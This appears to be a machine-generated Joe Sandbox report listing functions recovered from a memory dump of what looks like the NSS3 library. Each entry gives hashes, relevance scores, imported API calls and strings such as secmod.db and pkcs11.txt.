Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Arena_CriticalEnterErrorGrow_Mark_SectionUnlock$AllocateContentCopyDestroyFindFreeInfoItem_Tag_
String ID:
API String ID: 4287675220-0
Opcode ID: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction ID: 0d11392cc65bf67a14663f234ca31bdda1fe254f58dbfc2ec5ec98e567e713ad
Opcode Fuzzy Hash: 132886c8e85c4853bc8e1c53b1aed6ae3bf3f6f8f3c0773f36a280f0f549c6b0
Instruction Fuzzy Hash: D51108B5F042015BF7109A75BE00BABB394AF947CCF140134F90A8B740FBA2E9DD8292

Function 6CABCDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CABD086
PR_Malloc.NSS3(00000001), ref: 6CABD0B9
PR_Free.NSS3(?), ref: 6CABD138

Strings

>, xrefs: 6CABCF5B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: 99a23aa4fbb20486d0a8e411e1de3904e5294015982e364ddabe91165f88581d
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: 77D15C72F416464BEB14487D8C613EA77AB8782378F5C4329D521BBBE9E63988C3C341

Function 6CA5AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f29c450cf02d949a61c3e49dd103b71795d68198da4ce9e2220bd9d9eabb6934
Instruction ID: 1684d102c9bdd242db1e07d629c934921b0ac889a71fdbf31c68af86819f374c
Opcode Fuzzy Hash: f29c450cf02d949a61c3e49dd103b71795d68198da4ce9e2220bd9d9eabb6934
Instruction Fuzzy Hash: B2F1F271F012568FDB08DF28E8403A977F1AB4A309F59C22DD915D7B44EB7099A6CBD0

Function 6CA4DFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6C925001,?,00000003,00000000), ref: 6CA4DFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6C925001,?), ref: 6CA4E2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6C925001,?), ref: 6CA4E2DA

Strings

W, xrefs: 6CA4E111

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: a84dc538b29cf5f8790df2bd4fae5e375e02efb310620bc45c2c4f2311ccf685
Instruction ID: 28f5a7ff38f29193fdaaffc23455a5a8e6e6c67f1e621b624ebb4b5c86596324
Opcode Fuzzy Hash: a84dc538b29cf5f8790df2bd4fae5e375e02efb310620bc45c2c4f2311ccf685
Instruction Fuzzy Hash: D0C1FA31B44255CBDB05CF2984907AAF7B2BF86308F2CC1A9DCA99BB41D731A985C7D0

Function 6C998EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55ca80d6f8239fefe3f568c8d21a20313b7ab8b26cf34f800785351e46af846a
Instruction ID: 736993c7cc48a4217a964b1f7bda1e04ce76e31de7925aea69276e2e3eb5791b
Opcode Fuzzy Hash: 55ca80d6f8239fefe3f568c8d21a20313b7ab8b26cf34f800785351e46af846a
Instruction Fuzzy Hash: A811C132B012158BD70CDF24D884B5AB7A9FF4231CF08426ED8168FA41D775D896C7C9

Function 6CA70C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5714deb90db0fff3bf86507db029094516a7d04a17a9fcce552815ad9c9b7d7
Instruction ID: c077ecb4099b0d707893a738609e0f274cbdedf9471323a87923bd3ee4158f49
Opcode Fuzzy Hash: d5714deb90db0fff3bf86507db029094516a7d04a17a9fcce552815ad9c9b7d7
Instruction Fuzzy Hash: BF11E3797043059FCB10DF28C88066A7BB5FF85368F18807DD8198B701DB32E946CBA0

Function 6C9E3FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 83faa3f0f8ad30dadd3ca67f15f3b35b2383850f7509b7090530a8b75e339dc2
Instruction ID: 02ccf1d2eaa1fbdd7bbf14acccc7b5886f6ace8300d89e496f3cde050fcdf282
Opcode Fuzzy Hash: 83faa3f0f8ad30dadd3ca67f15f3b35b2383850f7509b7090530a8b75e339dc2
Instruction Fuzzy Hash: A3F0BE70E0475A8BCB04DF28C45019AB7F4EF1A244F00821AEC8AAB301EB30AAC5C7C1

Function 6CA70D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 99a96545838cf955811e38bcbc1060f741a0ee3d62446304a259ba9b6672681f
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: A6E0653D21125467DB248E09C5506A97359EF81616FA98079CC599BA02E633F88387A1

Function 6C99CC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fed0828cf34ae022c629e295198fd2be5b80c69e2d06e7052e216bb58d58db71
Instruction ID: a29e622a2b3425d2973bf6053614b769af735cf98a920fa08416c05990833cab
Opcode Fuzzy Hash: fed0828cf34ae022c629e295198fd2be5b80c69e2d06e7052e216bb58d58db71
Instruction Fuzzy Hash: 02C04838244608CFC704DA08E499AA43BA8AB19610B040098EA028B721EB21F800CA80

Function 6C9E9840 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29d0387df193c980a6d306ac7d832ea6b34546becccf2f85368f09787ec596cf
Instruction ID: 2cfb48368e3fa23a4f87366136cb77edee92add6ae1c3ecf5acd2857b07678cc
Opcode Fuzzy Hash: 29d0387df193c980a6d306ac7d832ea6b34546becccf2f85368f09787ec596cf
Instruction Fuzzy Hash:

Function 6CA05890 Relevance: 84.3, APIs: 36, Strings: 12, Instructions: 340stringmemoryCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?), ref: 6CA058A9
PORT_ZAlloc_Util.NSS3(00000001,?,?), ref: 6CA058BC
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?), ref: 6CA058CA
strcat.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?), ref: 6CA058DE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?), ref: 6CA058E7
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CA058F8
PORT_ZAlloc_Util.NSS3(0000002D,?,?,?,?,?,?), ref: 6CA0591B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?), ref: 6CA0593A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?), ref: 6CA05960
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?), ref: 6CA0597B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA059A0
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA059AF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA059D3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA059E2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA05A0A
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CA05A19
PR_smprintf.NSS3(0h0x%08lx,00000001), ref: 6CA05A68
PR_smprintf.NSS3(%s,%s,00000000,00000000), ref: 6CA05A7D
free.MOZGLUE(00000000), ref: 6CA05A8F
free.MOZGLUE(00000000), ref: 6CA05A95
PR_smprintf.NSS3(%s,0l0x%08lx,00000000,00000001), ref: 6CA05AC6
free.MOZGLUE(00000000), ref: 6CA05AD3
PR_smprintf.NSS3(0l0x%08lx,00000001), ref: 6CA05AE4
PR_smprintf.NSS3(%s=%d,trustOrder,?), ref: 6CA05B15
PR_smprintf.NSS3(%s=%d,cipherOrder,?), ref: 6CA05B39
free.MOZGLUE(00000000), ref: 6CA05B5D
free.MOZGLUE(00000000), ref: 6CA05B81
free.MOZGLUE(?), ref: 6CA05BA2
PR_smprintf.NSS3(%s %s %s %s %s,?,6CAF0148,?,00000000,00000000), ref: 6CA05BBF
free.MOZGLUE(?), ref: 6CA05BD8
free.MOZGLUE(6CAF0148), ref: 6CA05BEE
free.MOZGLUE(?), ref: 6CA05C06
free.MOZGLUE(00000000), ref: 6CA05C1E
free.MOZGLUE(00000000), ref: 6CA05C34
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA05C50
free.MOZGLUE(00000000), ref: 6CA05C61

Strings

ciphers, xrefs: 6CA05B66
%s,%s, xrefs: 6CA05A78
%s=%d, xrefs: 6CA05B10, 6CA05B34
cipherOrder, xrefs: 6CA05B2F
slotParams, xrefs: 6CA05B44
0h0x%08lx, xrefs: 6CA05A63
trustOrder, xrefs: 6CA05B0B
FORTEZZA, xrefs: 6CA05A56
FIPS, xrefs: 6CA05983
%s,0l0x%08lx, xrefs: 6CA05AC1
Flags, xrefs: 6CA05B8A
%s %s %s %s %s, xrefs: 6CA05BBA

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$strlen$R_smprintf$Alloc_Util$isspacememsetstrcat
String ID: %s %s %s %s %s$%s,%s$%s,0l0x%08lx$%s=%d$0h0x%08lx$FIPS$FORTEZZA$Flags$cipherOrder$ciphers$slotParams$trustOrder
API String ID: 2590695137-1909591022
Opcode ID: e51b620826b6ed1f0dad674dde1b2e40dd1f80e3ab764942c737c8b66a9c5d1e
Instruction ID: 34c28560835df9a3e9f742db917206ffbfd6c060f7e87958e30680e0462488f9
Opcode Fuzzy Hash: e51b620826b6ed1f0dad674dde1b2e40dd1f80e3ab764942c737c8b66a9c5d1e
Instruction Fuzzy Hash: 8BB138B1E002465BDB119F65AC855AF7778AF5728CF090224EC1667B00E730F9E9C7E6

Function 6CA05DE0 Relevance: 63.3, APIs: 27, Strings: 9, Instructions: 272COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?), ref: 6CA05E08
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CA05E3F
PL_strncasecmp.NSS3(00000000,readOnly,00000008), ref: 6CA05E5C
free.MOZGLUE(00000000), ref: 6CA05E7E
free.MOZGLUE(00000000), ref: 6CA05E97
PORT_Strdup_Util.NSS3(secmod.db), ref: 6CA05EA5
_NSSUTIL_EvaluateConfigDir.NSS3(00000000,?,?), ref: 6CA05EBB
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CA05ECB
PL_strncasecmp.NSS3(00000000,noModDB,00000007), ref: 6CA05EF0
free.MOZGLUE(00000000), ref: 6CA05F12
NSSUTIL_ArgGetParamValue.NSS3(flags,?), ref: 6CA05F35
PL_strncasecmp.NSS3(00000000,forceSecmodChoice,00000011), ref: 6CA05F5B
free.MOZGLUE(00000000), ref: 6CA05F82
PL_strncasecmp.NSS3(?,configDir=,0000000A), ref: 6CA05FA3
PL_strncasecmp.NSS3(?,secmod=,00000007), ref: 6CA05FB7
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CA05FC4
free.MOZGLUE(00000000), ref: 6CA05FDB
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CA05FE9
free.MOZGLUE(00000000), ref: 6CA05FFE
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CA0600C
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA06027
PR_smprintf.NSS3(%s/%s,?,00000000), ref: 6CA0605A
PR_smprintf.NSS3(6CADAAF9,00000000), ref: 6CA0606A
free.MOZGLUE(00000000), ref: 6CA0607C
free.MOZGLUE(00000000), ref: 6CA0609A
free.MOZGLUE(00000000), ref: 6CA060B2
free.MOZGLUE(?), ref: 6CA060CE

Strings

flags, xrefs: 6CA05E3A, 6CA05EC6, 6CA05F30
secmod=, xrefs: 6CA05FB1
forceSecmodChoice, xrefs: 6CA05F55
configDir=, xrefs: 6CA05F9D
pkcs11.txt, xrefs: 6CA05F47, 6CA05F7C, 6CA0603A, 6CA06053
noModDB, xrefs: 6CA05EEA
readOnly, xrefs: 6CA05E56
%s/%s, xrefs: 6CA06055
secmod.db, xrefs: 6CA05EA0

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: free$L_strncasecmpValue$Param$FetchR_smprintfisspace$ConfigEvaluateParameterSkipStrdup_Util
String ID: %s/%s$configDir=$flags$forceSecmodChoice$noModDB$pkcs11.txt$readOnly$secmod.db$secmod=
API String ID: 1427204090-154007103
Opcode ID: dc1005aa2a1ae8681521841f7a93c88bbe476b732fe73eae8e441a40cec61b24
Instruction ID: 73484bb44e88f342544bb4e33c483b3d25ebf4e390211ade878ae7212eb94d4a
Opcode Fuzzy Hash: dc1005aa2a1ae8681521841f7a93c88bbe476b732fe73eae8e441a40cec61b24
Instruction Fuzzy Hash: 1491D4F4B042055BEB119F25BC85BAA3BA4AF052CCF0C4060EC559BB42E735E9D9C7B6

Function 6CAB09D0 Relevance: 61.5, APIs: 33, Strings: 2, Instructions: 275filetimethreadCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CAB0A22

Part of subcall function 6CA69DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DC6
Part of subcall function 6CA69DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DD1
Part of subcall function 6CA69DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA69DED

PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CAB0A35

Part of subcall function 6C993810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C99382A
Part of subcall function 6C993810: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C993879

PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CAB0A66
PR_GetCurrentThread.NSS3 ref: 6CAB0A70
PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CAB0A9D
PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CAB0AC8
PR_vsmprintf.NSS3(?,?), ref: 6CAB0AE8
EnterCriticalSection.KERNEL32(?), ref: 6CAB0B19
OutputDebugStringA.KERNEL32(00000000), ref: 6CAB0B48
OutputDebugStringA.KERNEL32(?), ref: 6CAB0B88
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CAB0C36
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CAB0C45
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CAB0C5D
_PR_MD_UNLOCK.NSS3(?), ref: 6CAB0C76
PR_LogFlush.NSS3 ref: 6CAB0C7E
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CAB0C8D
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CAB0C9C
OutputDebugStringA.KERNEL32(?), ref: 6CAB0CD1
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CAB0CEC
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CAB0CFB
OutputDebugStringA.KERNEL32(00000000), ref: 6CAB0D16
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CAB0D26
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CAB0D35
OutputDebugStringA.KERNEL32(0000000A), ref: 6CAB0D65
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CAB0D70
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CAB0D7E
_PR_MD_UNLOCK.NSS3(?), ref: 6CAB0D90
free.MOZGLUE(00000000), ref: 6CAB0D99

Strings

%ld[%p]: , xrefs: 6CAB0A96
%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - , xrefs: 6CAB0A5B

Memory Dump Source

Source File: 0000000D.00000002.3139349355.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 0000000D.00000002.3139317807.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139504702.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139654381.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139689315.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139722402.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000D.00000002.3139753155.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6c920000_5XYR1IZSU740RQ8S.jbxd

Similarity

API ID: DebugOutputStringfflush$Timefwrite$Unothrow_t@std@@@__ehfuncinfo$??2@$R_snprintfSystem$CriticalCurrentEnterExplodeFileFlushR_vsmprintfR_vsnprintfSectionThreadfputcfreememcpy
String ID: %04d-%02d-%02d %02d:%02d:%02d.%06d UTC - $%ld[%p]:
API String ID: 3820836880-2800039365
Opcode ID: c36e01366b6838eaf60449c9f6bff4626df577e5e258e2a7c144a1a2a66cafda
Instruction ID: 901bef9228b4d4a376424e3ed81dc1b9de80023da5fc1c0cf548c521e4760430
Opcode Fuzzy Hash: c36e01366b6838eaf60449c9f6bff4626df577e5e258e2a7c144a1a2a66cafda
Instruction Fuzzy Hash: E8A1D5B1B002949FDF249B28CC48B9A3B7CAF2231CF0C4698F855A3641D775E9D9CB61

Function 6C991D90 Relevance: 45.7, APIs: 16, Strings: 10, Instructions: 182filestringCOMMON

Download Yara Rule

APIs

PR_NewLock.NSS3 ref: 6C991DA3

Part of subcall function 6CA698D0: calloc.MOZGLUE(00000001,00000084,6C990936,00000001,?,6C99102C), ref: 6CA698E5

PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES), ref: 6C991DB2

